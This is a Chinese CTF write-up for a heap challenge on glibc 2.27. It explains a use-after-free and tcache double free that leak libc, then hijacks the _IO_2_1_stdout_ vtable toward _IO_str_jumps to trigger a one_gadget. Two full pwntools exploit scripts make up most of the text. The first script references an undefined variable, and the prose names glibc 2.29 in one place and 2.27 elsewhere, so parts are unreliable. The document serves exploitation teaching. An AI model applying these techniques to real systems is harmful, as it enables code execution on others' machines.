首先,已知libc版本为2.27,所以存在tcache机制,并且可以随意的double free tcache bin的chunk。
然后,我们检查一下程序的保护机制
然后,我们用IDA分析一下程序
存在UAF漏洞,因此可以double free,对于glibc 2.27,可以很轻松的利用
主函数里,对调用功能的次数做了限制,即**[add功能能用7次,delete功能能用3次。]{.mark}**
首先,从泄露libc地址到实现任意地址写,直接快速的写出了exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *sh = remote('node3.buuoj.cn' ,25670 ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so' ) malloc_hook_s = libc.symbols['__malloc_hook' ] one_gadget = 0x4f322 def add (size ): sh.sendlineafter('choice:' ,'1' ) sh.sendlineafter('size?' ,str (size)) def edit (index,content ): sh.sendlineafter('choice:' ,'2' ) sh.sendlineafter('idx?' ,str (index)) sh.sendafter('content:' ,content) def show (index ): sh.sendlineafter('choice:' ,'3' ) sh.sendlineafter('idx?' ,str (index)) def delete (index ): sh.sendlineafter('choice:' ,'4' ) sh.sendlineafter('idx?' ,str (index)) add(0x100 ) add(0x100 ) delete(0 ) delete(0 ) show(0 ) heap_addr = u64(sh.recv(6 ).ljust(8 ,'\x00' )) - 0x10 print 'heap_addr=' ,hex (heap_addr)add(0x100 ) add(0x100 ) add(0x100 ) delete(0 ) show(0 ) main_arena_xx = u64(sh.recv(6 ).ljust(8 ,'\x00' )) malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000 ) + (malloc_hook_s & 0xFFF ) libc_base = malloc_hook_addr - malloc_hook_s one_gadget_addr = libc_base + one_gadget print 'libc_base=' ,hex (libc_base)print 'one_gadget_addr=' ,hex (one_gadget_addr)edit(2 ,p64(evil_addr)) add(0x100 ) add(0x100 ) sh.interactive()
显然,上面任意地址读写已经实现,我们通过edit(6)和show(6)来实现。如果我们改写malloc_hook或者free_hook,可以改写成功,但是没有办法触发。这是因为,我们已经用完了add功能的7次调用,delete功能的3次调用。因此,接下来,我们调用不了malloc或free,也就无法触发了。因此,我们可以劫持_IO_2_1_stdout_的虚表。思想就如同house of orange一样,通过IO流对虚表的调用来触发one_gadget。由于glibc为2.29,因此不能直接伪造虚表,而应该将虚表劫持为_IO_str_jumps_附近。
我们先把虚表劫持为_IO_str_jumps_附近,然后用IDA调试。
1 edit(6 ,p64(_IO_str_jumps_addr - 0x50 ))
我们需要在puts处断点,因为我们修改后,这里是第一个puts,它会调用stdout里相关的虚表
我们单步跟进
然后,我们看到这里r13就是虚表指针,这里会call [r13+0x38]处的函数。
因此,我们只需要让[r13+0x38]为IO_str_finish函数的指针即可,因此,我们需要将虚表修改为IO_str_jumps – XX,使得,r13+0x38正好对应上_IO_str_finish指针。
而之前在house of orange里已经介绍过,_IO_str_finish函数会call [IO_2_1_stdout + 0xE8]
Call的前提是_IO_2_1_stdout_的flag的低1字节要为0。综上,我们需要劫持_IO_2_1_stdout_结构体,修改flags,劫持虚表为IO_str_jumps – XX,修改_IO_2_1_stdout_+0xE8处为one_gadget。然后puts的调用即可触发one_gadget。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from pwn import *sh = remote('node3.buuoj.cn' ,25670 ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so' ) malloc_hook_s = libc.symbols['__malloc_hook' ] _IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_' ] def get_IO_str_jumps (): IO_file_jumps_offset = libc.sym['_IO_file_jumps' ] IO_str_underflow_offset = libc.sym['_IO_str_underflow' ] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: return possible_IO_str_jumps_offset _IO_str_jumps_s = get_IO_str_jumps() one_gadget = 0x4f322 def add (size ): sh.sendlineafter('choice:' ,'1' ) sh.sendlineafter('size?' ,str (size)) def edit (index,content ): sh.sendlineafter('choice:' ,'2' ) sh.sendlineafter('idx?' ,str (index)) sh.sendafter('content:' ,content) def show (index ): sh.sendlineafter('choice:' ,'3' ) sh.sendlineafter('idx?' ,str (index)) def delete (index ): sh.sendlineafter('choice:' ,'4' ) sh.sendlineafter('idx?' ,str (index)) add(0x100 ) add(0x100 ) delete(0 ) delete(0 ) show(0 ) heap_addr = u64(sh.recv(6 ).ljust(8 ,'\x00' )) - 0x10 print 'heap_addr=' ,hex (heap_addr)add(0x100 ) add(0x100 ) add(0x100 ) delete(0 ) show(0 ) main_arena_xx = u64(sh.recv(6 ).ljust(8 ,'\x00' )) malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000 ) + (malloc_hook_s & 0xFFF ) libc_base = malloc_hook_addr - malloc_hook_s _IO_2_1_stdout_addr = libc_base + _IO_2_1_stdout_s _IO_str_jumps_addr = libc_base + _IO_str_jumps_s one_gadget_addr = libc_base + one_gadget print 'libc_base=' ,hex (libc_base)print 'one_gadget_addr=' ,hex (one_gadget_addr)print '_IO_2_1_stdout_addr=' ,hex (_IO_2_1_stdout_addr)print '_IO_str_jumps_addr=' ,hex (_IO_str_jumps_addr)print hex (libc_base + 0x5E703 )vtable_jump = _IO_str_jumps_addr - 0x28 edit(2 ,p64(_IO_2_1_stdout_addr)) add(0x100 ) add(0x100 ) fake_file = p64(0x0FBAD2886 ) fake_file += p64(_IO_2_1_stdout_addr + 0x200 )*7 fake_file += p64(_IO_2_1_stdout_addr + 0x201 ) fake_file += p64(0 )*5 fake_file += p32(1 ) fake_file += p32(0 ) + p64(0xFFFFFFFFFFFFFFFF ) fake_file += '\x00\x00\x00\n' + p32(0 ) fake_file += p64(libc_base + 0x3ED8C0 ) fake_file += p64(0xFFFFFFFFFFFFFFFF ) fake_file += p64(0 ) fake_file += p64(libc_base + 0x3EB8C0 ) fake_file += p64(0 )*3 fake_file += p32(0xFFFFFFFF ) fake_file = fake_file.ljust(0xD8 ,'\x00' ) fake_file += p64(vtable_jump) + p64(0 ) + p64(one_gadget_addr) edit(6 ,fake_file) sh.interactive()